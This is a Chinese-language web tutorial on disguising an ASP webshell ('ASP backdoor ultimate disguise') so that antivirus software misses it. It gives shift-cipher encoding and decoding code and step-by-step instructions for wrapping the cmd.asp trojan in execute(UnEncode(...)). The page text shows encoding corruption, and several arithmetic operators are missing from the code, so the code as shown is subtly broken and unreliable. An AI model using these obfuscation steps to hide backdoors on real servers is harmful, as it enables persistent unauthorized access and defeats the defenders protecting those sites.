ASP后門(mén)之終極偽裝_ASP教程
推薦:用ASP封IP的方法,防止固定IP垃圾留言以下為引用的內(nèi)容: <% Dim IP,IPString,VisitIP '要禁止的IP地址 IPString="|195.225.177.34|195.225.177.137|72.232.250.10|&qu
記得當(dāng)年asp木馬出來(lái)的時(shí)候號(hào)稱(chēng)“永不被殺的木馬”,呵呵,時(shí)至今日,隨便什么殺毒軟件都能將其殺得片甲不留^_^呵呵,受到木馬換殼躲避殺毒軟件思路影響,我們也可以給asp木馬“加殼”(呵呵,當(dāng)然不是用UPX等)。還等什么?請(qǐng)往下看。
其實(shí)這個(gè)思路很簡(jiǎn)單,就是把a(bǔ)sp代碼編碼,執(zhí)行時(shí)再解碼。這里有兩個(gè)方法,一是用微軟的工具Script Encoder;二是利用asp的execute函數(shù)。
先說(shuō)說(shuō)Script Encoder。這個(gè)東東可以在微軟官方網(wǎng)站免費(fèi)下到,而且還附贈(zèng)詳細(xì)使用說(shuō)明,這里就不多說(shuō)了吧。但是經(jīng)過(guò)它加密后的文件會(huì)有<%@ LANGUAGE = VBScript.Encode %>,呵呵,露馬腳了,管理員看到這句話就知道這個(gè)asp文件被加密了。那怎么解密呢?這里提供一個(gè)解密軟件(》點(diǎn)擊進(jìn)入下載《)�,F(xiàn)在知道了吧,微軟的Script Encoder不保險(xiǎn),所以呢,我們要自己寫(xiě)一個(gè)程序出來(lái)“加殼”。
asp的execute函數(shù)是拿來(lái)執(zhí)行字符串的,即是說(shuō)可以把a(bǔ)sp語(yǔ)句寫(xiě)成字符串,然后用execute來(lái)執(zhí)行。比如這行代碼:execute("response.write(""hackerXfiles"")"),執(zhí)行后的效果等同于執(zhí)行response.write("hackerXfiles")。這里由于execute函數(shù)里的東東是字符串,故遇到引號(hào)要雙寫(xiě)。呵呵,既然execute里是字符串,那么我們就可以把里面的東東拿來(lái)加密了。
怎么加密呢?呵呵,就用最簡(jiǎn)單的移位法好了。請(qǐng)看代碼:
but=1
cc=replace(nr,vbcrlf,"胡")
for i= 1 to len(cc)
if mid(cc,i,1)<>"胡" then
pk=asc(mid(cc,i,1)) but
if pk>126 then
pk=pk-95
elseif pk<32 then
pk=pk 95
end if
temp=temp&chr(pk)
else
temp=temp&"胡"
end if
next
temp=replace(temp,"""","""""")
response.write(temp)
這段代碼就是asp下的循環(huán)移位法。那個(gè)變量but就是移位的位數(shù),可修改。呵呵,怎么叫循環(huán)呢?因?yàn)槌绦驎?huì)比較字符的ascii碼,當(dāng)大于126或者小于32時(shí)就會(huì)處理,使范圍在32~126之間。因?yàn)檫@樣可以避免出現(xiàn)windows不能顯示的字符。這也是一開(kāi)始就把回車(chē)換行符替換掉的原因。這里我自己寫(xiě)了一個(gè)移位加密的asp程序xor.asp附上,希望對(duì)你有幫助。
那就讓我們來(lái)看看用上面代碼把response.write("hackerXfiles")加密后的結(jié)果:“sftqpotf/xsjuf)#ibdlfsYgjmft#*”,嘿嘿,這回神仙也看不懂了吧^_^
既然加了密,當(dāng)然要解密啦,看解密代碼:
function UnEncode(temp)
but=1 '這個(gè)是移位法所移的位數(shù)!注意修改此處與加密時(shí)使用的一致
for i =1 to len(temp)
if mid(temp,i,1)<>"胡" then
pk=asc(mid(temp,i,1))-but
if pk>126 then
pk=pk-95
elseif pk<32 then
pk=pk 95
end if
a=a&chr(pk)
else
a=a&vbcrlf
end if
next
UnEncode=a
end function
呵呵,現(xiàn)在知道怎么執(zhí)行了吧,只需調(diào)用這個(gè)解密函數(shù)就是:execute(UnEncode("sftqpotf/xsjuf)#ibdlfsYgjmft#*")),怎么樣,是不是順利執(zhí)行了!
在這里給大家一個(gè)示范,好讓大家明白怎么加密asp木馬。由于海洋的asp木馬代碼太多,我人又懶,就拿那個(gè)短小精悍的cmd.asp來(lái)示范吧!
首先運(yùn)行我寫(xiě)的那個(gè)xor.asp,然后用記事本打開(kāi)cmd.asp,將它的asp代碼部分復(fù)制到xor.asp的文本框,填好移位參數(shù)(這里我用的1),點(diǎn)“轉(zhuǎn)換”,呵呵,結(jié)果就出來(lái)了。然后新建一個(gè)文本文檔,把cmd.asp的內(nèi)容復(fù)制進(jìn)去,前面那個(gè)UnEncode函數(shù)內(nèi)容也添進(jìn)去(這里要注意修改UnEncode函數(shù)里變量but的值與加密時(shí)選的移位參數(shù)值一致),然后把它的asp部分替換成execute(UnEncode(hu))的形式,其中hu用前一步得到的加密結(jié)果賦值。呵呵,然后保存為asp文件就ok啦!這里就再羅嗦幾句。如果代碼比較長(zhǎng),可以分成幾部分加密,然后多用幾個(gè)execute執(zhí)行就是,但是要注意必須保證asp代碼的完整性,也就是說(shuō)不能把相關(guān)聯(lián)的代碼如if、end if分到兩個(gè)execute里去了。
看看吧,同樣可以運(yùn)行!
分享:查詢(xún)某個(gè)字段沒(méi)有值的所有記錄的SQL語(yǔ)句怎么寫(xiě)?有時(shí)我們需要查詢(xún)出某字段沒(méi)有值的全部記錄,那應(yīng)該用rs("xx")=""還是IsNull(rs("xx"))呢?要得出結(jié)論,我們還得從頭說(shuō)起:什么情況下字段中會(huì)沒(méi)有值?因?yàn)檫@和
- asp FSO 讀寫(xiě)文件本文件實(shí)現(xiàn)代碼
- asp中isNull、isEmpty和空字符串的區(qū)別
- asp獲取用戶(hù)真實(shí)IP地址的方法
- asp連接sqlserver數(shù)據(jù)庫(kù)實(shí)現(xiàn)代碼
- asp中正則表達(dá)式過(guò)濾html代碼函數(shù)
- asp中g(shù)et post提交表單區(qū)別
- 網(wǎng)頁(yè)模板:ASP內(nèi)建對(duì)象Request
- xmlhttp的open方法使用詳解
- ASP的常用的自定義函數(shù)大全
- asp中用for循環(huán)的一個(gè)小技巧
- eWebEditor v3.8 列目錄
- ASP無(wú)組件分頁(yè)實(shí)現(xiàn)思路及代碼
- 相關(guān)鏈接:
- 教程說(shuō)明:
ASP教程-ASP后門(mén)之終極偽裝
。